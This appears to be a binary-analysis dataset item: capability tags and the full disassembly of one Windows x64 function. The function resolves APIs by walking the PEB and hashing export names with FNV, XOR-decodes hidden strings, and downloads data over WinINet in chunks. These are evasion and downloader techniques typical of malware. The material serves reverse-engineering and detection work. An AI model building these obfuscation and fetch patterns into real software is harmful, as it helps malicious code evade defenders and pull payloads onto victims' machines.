Function at 0x140003b30
Capabilities:
Access peb ldr_data
Create http request
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7d0]
sub rsp, 0x8d0
mov rax, qword [0x140009010]
xor rax, rsp
mov qword [rbp + 0x7c0], rax
mov r12, rdx
mov rsi, rcx
mov qword [rsp + 0x50], rcx
mov qword [rbp - 0x60], rcx
mov qword [rbp - 0x68], rdx
mov dword [rbp - 0x60], 1
movabs rax, 0x5155d4c4caba590b
mov qword [rbp - 0x30], rax
movabs r13, 0x9449a9d1c9ff2258
mov qword [rbp - 0x28], r13
movabs rax, 0x5155d4c4caba376f
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], r13
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rsp + 0x30], xmm0
xor r15d, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea edx, [r15 + 1]
lea rcx, [rsp + 0x30]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], r15b
test rax, rax
je 0x1400042c4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003c86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003c86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003c81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003c60
cmp r8d, 0xf4cf8bbc
je 0x140003c8b
test r9d, r9d
jne 0x140003c40
mov rax, qword [rax]
jmp 0x140003c10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov rdx, r12
cmp qword [r12 + 0x18], 0x10
jb 0x140003cb2
mov rdx, qword [r12]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov rcx, r14
call r11
mov rsi, rax
test rax, rax
je 0x1400042bf
nop dword [rax]
nop dword [rax + rax]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140003d76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003d76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003d71
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003d50
cmp r8d, 0x960cb4c6
je 0x140003d7b
test r9d, r9d
jne 0x140003d30
mov rax, qword [rax]
jmp 0x140003d00
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea r9, [rbp - 0x60]
mov r8d, 0x7d0
lea rdx, [rbp - 0x10]
mov rcx, rsi
call r10
mov edi, dword [rbp - 0x60]
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x40]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140003dea
lea rax, [rdi + rcx]
mov qword [rbp - 0x48], rax
lea rbx, [rbp - 0x58]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x58]
add rbx, rcx
mov r8d, edi
lea rdx, [rbp - 0x10]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140003dff
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x10]
mov rdx, rdi
lea rcx, [rbp - 0x58]
call fcn.1400046f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003e86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003e86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140003e81
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140003e60
cmp r8d, 0xcb80cc06
je 0x140003e8b
test r9d, r9d
jne 0x140003e40
mov rax, qword [rax]
jmp 0x140003e10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
xor edx, edx
mov r8d, 0x7d0
lea rcx, [rbp - 0x10]
call r9
cmp dword [rbp - 0x60], 0
jne 0x140003ce0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003f46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003f46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003f41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003f20
cmp r8d, 0x4ddde966
je 0x140003f4b
test r9d, r9d
jne 0x140003f00
mov rax, qword [rax]
jmp 0x140003ed0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r14
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003ff6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003ff6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003ff1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003fd0
cmp r8d, 0x4ddde966
je 0x140003ffb
test r9d, r9d
jne 0x140003fb0
mov rax, qword [rax]
jmp 0x140003f80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
mov r8d, 2
lea rdx, [0x140006578]
lea rcx, [rsp + 0x78]
call fcn.140003650
nop
movabs rax, 0x5155d4c4caba590b
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], r13
movabs rax, 0x5155d4c4caba3777
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], r13
movdqa xmm0, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
lea rax, [rbp - 0x30]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140004091
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x58]
call fcn.140003650
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], r15
lea r15, [rbp - 0x58]
mov r14, qword [rbp - 0x58]
mov r13, qword [rbp - 0x40]
cmp r13, 0x10
cmovae r15, r14
movabs rdi, 0x7fffffffffffffff
mov rsi, qword [rbp - 0x48]
cmp rsi, rdi
ja 0x140004540
mov qword [rsp + 0x48], 0xf
cmp rsi, 0x10
jae 0x140004109
mov qword [rsp + 0x40], rsi
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x30], xmm0
jmp 0x140004196
mov rax, rsi
or rax, 0xf
cmp rax, rdi
ja 0x140004124
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
mov rcx, rdi
add rcx, 1
cmovb rcx, rbx
cmp rcx, 0x1000
jb 0x14000416a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000453a
mov rcx, rax
call fcn.140004d70
mov rcx, rax
test rax, rax
je 0x140004163
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140004178
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140004176
call fcn.140004d70
jmp 0x140004178
xor eax, eax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rdi
lea r8, [rsi + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rsp + 0x78]
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x30]
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
call fcn.140003980
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x1400041f4
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400041ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400041ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ad0
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140004234
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000422e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000422e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ad0
nop
cmp r13, 0x10
jb 0x14000426f
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140004266
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004266
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.140004ad0
nop
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x1400042a7
inc rdx
mov rcx, qword [r12]
cmp rdx, 0x1000
jb 0x1400042a2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400042b8
mov rcx, r8
call fcn.140004ad0
mov qword [r12 + 0x10], 0
mov rax, rbx
jmp 0x1400044fb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rsi, qword [rsp + 0x50]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004356
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004356
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004351
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004330
cmp r8d, 0x4ddde966
je 0x14000435b
test r9d, r9d
jne 0x140004310
mov rax, qword [rax]
jmp 0x1400042e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, r14
call rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8d, 2
lea rdx, [0x140006578]
lea rcx, [rsp + 0x58]
call fcn.140003650
nop
movabs rax, 0x5155d4c4caba590b
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], r13
movabs rax, 0x5155d4c4caba3777
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], r13
movdqa xmm0, xmmword [rbp - 0x30]
pxor xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
lea rax, [rbp - 0x30]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400043f0
mov r8, rbx
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x78]
call fcn.140003650
nop
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 0xf
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rsp + 0x30], xmm0
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140003980
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14000447a
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004474
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004474
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ad0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x1400044bb
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400044b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004ad0
nop
mov rdx, qword [r12 + 0x18]
cmp rdx, 0x10
jb 0x1400044f3
inc rdx
mov rcx, qword [r12]
cmp rdx, 0x1000
jb 0x1400044ee
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140004533
mov rcx, r8
call fcn.140004ad0
mov qword [r12 + 0x10], r15
mov rax, rsi
mov byte [r12], 0
mov qword [r12 + 0x18], 0xf
mov rcx, qword [rbp + 0x7c0]
xor rcx, rsp
call fcn.140004ab0
mov rbx, qword [rsp + 0x920]
add rsp, 0x8d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140001110
nop
call fcn.1400011b0
int3